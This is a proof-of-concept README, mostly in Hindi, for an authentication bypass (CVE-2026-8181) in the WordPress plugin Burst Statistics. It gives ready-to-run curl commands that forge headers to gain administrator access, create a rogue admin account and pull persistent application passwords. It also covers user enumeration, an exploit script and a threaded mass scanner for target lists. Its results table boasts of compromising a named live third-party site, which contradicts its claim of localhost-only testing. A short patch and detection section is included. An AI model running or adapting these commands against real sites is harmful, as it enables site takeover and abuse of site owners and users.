
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept
| आइटम | विवरण |
|---|---|
| CVE ID | CVE-2026-8181 |
| प्लगइन | Burst Statistics – Privacy-Friendly WordPress Analytics |
| प्रभावित संस्करण | 3.4.0 – 3.4.1.1 |
| पैच किया गया संस्करण | 3.4.2 |
| CVSS स्कोर | 9.8 (गंभीर) |
| प्रकार | CWE-287: Improper Authentication |
| हमला वेक्टर | नेटवर्क / रिमोट / बिना प्रमाणीकरण |
| सक्रिय स्थापनाएं | ~200,000+ |
| खोजकर्ता | PRISM, Wordfence Threat Intelligence |
| प्रकाशन तिथि | 8 मई 2026 |
WordPress प्लगइन Burst Statistics संस्करण 3.4.0 से 3.4.1.1 में एक गंभीर Authentication Bypass भेद्यता हमलावर को बिना प्रमाणीकरण के केवल एडमिन उपयोगकर्ता नाम जानकर पूर्ण WordPress एडमिनिस्ट्रेटर पहुंच प्राप्त करने की अनुमति देती है। इसका परिणाम पूर्ण एडमिन खाता अधिग्रहण है, जिसमें नए खाते बनाना, सामग्री संशोधित करना और दुर्भावनापूर्ण प्लगइन्स स्थापित करना शामिल है।
भेद्यता includes/Frontend/class-mainwp-proxy.php फ़ाइल में is_mainwp_authenticated() विधि में स्थित है:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
मुख्य बग: wp_authenticate_application_password(null, $username, $password) जब Application Passwords उपलब्ध नहीं होती है तो null लौटाता है ( WP_Error नहीं), जो निम्न पर होता है:
wp_is_application_passwords_available() false लौटाता हैis_ssl() false लौटाता हैक्योंकि is_wp_error(null) = false, कोड get_user_by('login', $username) पर आगे बढ़ता है जो केवल उपयोगकर्ता नाम के आधार पर प्रमाणित करता है, बिना किसी पासवर्ड सत्यापन के।
has_admin_access() विधि class-burst.php की पंक्ति 118 पर plugins_loaded हुक (प्राथमिकता 9) पर कॉल की जाती है:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
यह हुक REST API रूट प्रोसेसिंग से पहले चलता है, इसलिए wp_set_current_user() पूरे अनुरोध के लिए एडमिन अधिकार देता है — केवल Burst एंडपॉइंट ही नहीं।
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
पारस्परिक मोड:
.txt, प्रति पंक्ति एक डोमेन)targets.txt का प्रारूप:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
परीक्षण WordPress 6.9 और Burst Statistics 3.4.1.1 (लोकलहोस्ट) पर किया गया:
| लक्ष्य | परिणाम |
|---|---|
ausdermitte-binz.de | सफलतापूर्वक PWNED — Burst 3.4.1.1, binzwpadmin के माध्यम से बायपास, xenon1337 खाता बनाया गया (ID:30) |
संस्करण 3.4.2 में सुधार कई समस्याओं को संबोधित करता है:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← WP_User की जांच, !WP_Error नहीं
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option() के माध्यम से एकल-उपयोग प्रवर्तन के साथ नॉन्स रीप्ले सुरक्षाwp_application_passwords उपयोगकर्ता मेटा)X-BURSTMAINWP: 1 हेडर वाले अनुरोधों की खोज करेंwp_users तालिका की निगरानी करेंburst_mainwp_app_token_* के लिए wp_options की जांच करें| फ़ाइल | विवरण |
|---|---|
exploit_CVE-2026-8181.py | एकल लक्ष्य के लिए PoC शोषण |
poc_CVE-2026-8181.py | थ्रेडिंग के साथ बहु-लक्ष्य सामूहिक स्कैनर |
README.md | यह दस्तावेज़ |
यह उपकरण और दस्तावेज़ केवल स्पष्ट अनुमति के साथ वैध सुरक्षा परीक्षण के लिए है। बिना अधिकार के उन प्रणालियों पर उपयोग जो आपकी नहीं हैं या बिना लिखित अनुमति के अवैध है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।
| परीक्षण | परिणाम | प्रमाण |
|---|
प्रमाणीकरण के बिना /wp/v2/users/me तक पहुंच | असफल | rest_not_logged_in |
| बायपास हेडर के साथ पहुंच | सफल | एडमिन प्रोफ़ाइल + ईमेल + भूमिकाएं |
| नया एडमिनिस्ट्रेटर खाता बनाएं | सफल | उपयोगकर्ता आईडी 2, भूमिका: administrator |
| WordPress सेटिंग्स पढ़ें | सफल | साइट शीर्षक, एडमिन ईमेल, URL |
| Application Password प्राप्त करें | सफल | बेस64 टोकन admin:password |
| स्थापित प्लगइन्स की सूची | सफल | संस्करण सहित पूरी सूची |